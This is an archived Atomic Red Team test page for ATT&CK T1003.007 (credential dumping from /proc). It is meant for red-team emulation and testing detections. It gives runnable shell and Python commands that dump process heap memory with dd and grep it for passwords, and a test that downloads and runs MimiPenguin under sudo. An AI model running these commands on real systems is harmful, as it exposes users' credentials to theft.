atomic-red-team/atomics/T1003.007/T1003.007.md at master · redcanaryco/atomic-red-team

By Atomic Red Team doc generator

Archived: 2026-04-05 18:20:30 UTC

T1003.007 - OS Credential Dumping: Proc Filesystem

Description from ATT&CK

> Adversaries may gather credentials from the proc filesystem or `/proc`. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the `/proc/<PID>/maps` file shows how memory is mapped within the process's virtual address space. And `/proc/<PID>/mem`, exposed for debugging purposes, provides access to the process's virtual address space.(Citation: Picus Labs Proc cump 2022)(Citation: baeldung Linux proc map 2022)
>
> When executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns indicative of credentials. Adversaries may use regex patterns, such as `grep -E "^[0-9a-f-]* r" /proc/"$pid"/maps | cut -d' ' -f 1`, to look for fixed strings in memory structures or cached hashes.(Citation: atomic-red proc file system) When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process's memory.(Citation: MimiPenguin GitHub May 2017) (Citation: Polop Linux PrivEsc Gitbook)
>
> If running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.

Source

Atomic Tests

Atomic Test #1: Dump individual process memory with sh (Local)

Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to copy process memory to an external file so it can be searched or exfiltrated later.

Supported Platforms: Linux

auto_generated_guid: `7e91138a-8e74-456d-a007-973d67a0bb80`

Inputs

Name	Description	Type	Default Value
output_file	Path where captured results will be placed	path	/tmp/T1003.007.bin
script_path	Path to script generating the target process	path	/tmp/T1003.007.sh
pid_term	Unique string to use to identify target process	string	T1003.007

Attack Commands: Run with `sh` ! Elevation Required (e.g. root or admin)

```
sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
HEAP_MEM=$(grep -E "^[0-9a-f-]* r" /proc/"$PID"/maps | grep heap | cut -d' ' -f 1)
MEM_START=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f1))))
MEM_STOP=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f2))))
MEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START)))
dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE"
grep -i "PASS" "#{output_file}"
```

Cleanup Commands

Dependencies: Run with `sh` !

Description: Script to launch target process must exist

Check Prereq Commands

```
test -f #{script_path}
grep "#{pid_term}" #{script_path}
```

Get Prereq Commands

```
echo '#!/bin/sh' > #{script_path}
echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path}
```

Atomic Test #2: Dump individual process memory with sh on FreeBSD (Local)

Using `/proc/$PID/mem`, where $PID is the target process ID, use shell utilities to copy process memory to an external file so it can be searched or exfiltrated later. On FreeBSD procfs must be mounted.

Supported Platforms: Linux

auto_generated_guid: `fa37b633-e097-4415-b2b8-c5bf4c86e423`

Inputs

Name	Description	Type	Default Value
output_file	Path where captured results will be placed	path	/tmp/T1003.007.bin
script_path	Path to script generating the target process	path	/tmp/T1003.007.sh
pid_term	Unique string to use to identify target process	string	T1003.007

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
MEM_START=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f1)
MEM_STOP=$(head -n 5 /proc/"${PID}"/map | tail -1 | cut -d' ' -f2)
MEM_SIZE=$(echo $(($MEM_STOP-$MEM_START)))
dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE"
strings "#{output_file}" | grep -i PASS
```

Cleanup Commands

Dependencies: Run with `sh`!

Description: Script to launch target process must exist

Check Prereq Commands

```
test -f #{script_path}
grep "#{pid_term}" #{script_path}
```

Get Prereq Commands

```
echo '#!/bin/sh' > #{script_path}
echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path}
```

Atomic Test #3: Dump individual process memory with Python (Local)

Using `/proc/$PID/mem`, where $PID is the target process ID, use a Python script to copy a process's heap memory to an external file so it can be searched or exfiltrated later. On FreeBSD procfs must be mounted.

Supported Platforms: Linux

auto_generated_guid: `437b2003-a20d-4ed8-834c-4964f24eec63`

Inputs

Name	Description	Type	Default Value
output_file	Path where captured results will be placed	path	/tmp/T1003.007.bin
script_path	Path to script generating the target process	path	/tmp/T1003.007.sh
python_script	Path to script generating the target process	path	PathToAtomicsFolder/T1003.007/src/dump_heap.py
pid_term	Unique string to use to identify target process	string	T1003.007

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
sh #{script_path}
PID=$(pgrep -n -f "#{pid_term}")
PYTHON=$(which python || which python3 || which python2)
$PYTHON #{python_script} $PID #{output_file}
grep -i "PASS" "#{output_file}"
```

Cleanup Commands

Dependencies: Run with `sh`!

Description: Script to launch target process must exist

Check Prereq Commands

```
test -f #{script_path}
grep "#{pid_term}" #{script_path}
```

Get Prereq Commands

```
echo '#!/bin/sh' > #{script_path}
echo "sh -c 'echo \"The password is #{pid_term}\" && sleep 30' &" >> #{script_path}
```

Description: Requires Python

Check Prereq Commands

```
(which python || which python3 || which python2)
```

Get Prereq Commands

```
echo "Python 2.7+ or 3.4+ must be installed"
```

Atomic Test #4: Capture Passwords with MimiPenguin

MimiPenguin is a tool inspired by MimiKatz that targets Linux systems affected by CVE-2018-20781 (Ubuntu-based distros and certain versions of GNOME Keyring). Upon successful execution on an affected system, MimiPenguin will retrieve passwords from memory and output them to a specified file. See https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-20781. See https://www.tecmint.com/mimipenguin-hack-login-passwords-of-linux-users/#:~:text=Mimipenguin%20is%20a%20free%20and,tested%20on%20various%20Linux%20distributions.

Supported Platforms: Linux

auto_generated_guid: `a27418de-bdce-4ebd-b655-38f04842bf0c`

Inputs

Name	Description	Type	Default Value
output_file	Path where captured results will be placed	path	/tmp/T1003.007Test3.txt
MimiPenguin_Location	Path of MimiPenguin script	path	/tmp/mimipenguin/mimipenguin_2.0-release/mimipenguin.sh

Attack Commands: Run with `bash` ! Elevation Required (e.g. root or admin)

```
sudo #{MimiPenguin_Location} > #{output_file}
cat #{output_file}
```

Cleanup Commands

```
rm -f #{output_file} > /dev/null
```

Dependencies: Run with `sh`!

Description: MimiPenguin script must exist on disk at specified location (#{MimiPenguin_Location})

Check Prereq Commands

```
if [ -f "#{MimiPenguin_Location}" ]; then exit 0; else exit 1; fi;
```

Get Prereq Commands

```
wget -O "/tmp/mimipenguin.tar.gz" https://github.com/huntergregal/mimipenguin/releases/download/2.0-
mkdir /tmp/mimipenguin
tar -xzvf "/tmp/mimipenguin.tar.gz" -C /tmp/mimipenguin
```

Description: Strings must be installed

Check Prereq Commands

```
if [ -x "$(command -v strings --version)" ]; then exit 0; else exit 1; fi;
```

Get Prereq Commands

```
sudo apt-get -y install binutils
```

Description: Python2 must be installed

Check Prereq Commands

```
if [ -x "$(command -v python2 --version)" ]; then exit 0; else exit 1; fi;
```

Get Prereq Commands

```
sudo apt-get -y install python2
```

Description: Libc-bin must be installed

Check Prereq Commands

```
if [ -x "$(command -v ldd --version)" ]; then exit 0; else exit 1; fi;
```

Get Prereq Commands

```
sudo apt-get -y install libc-bin
```

Source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.007/T1003.007.md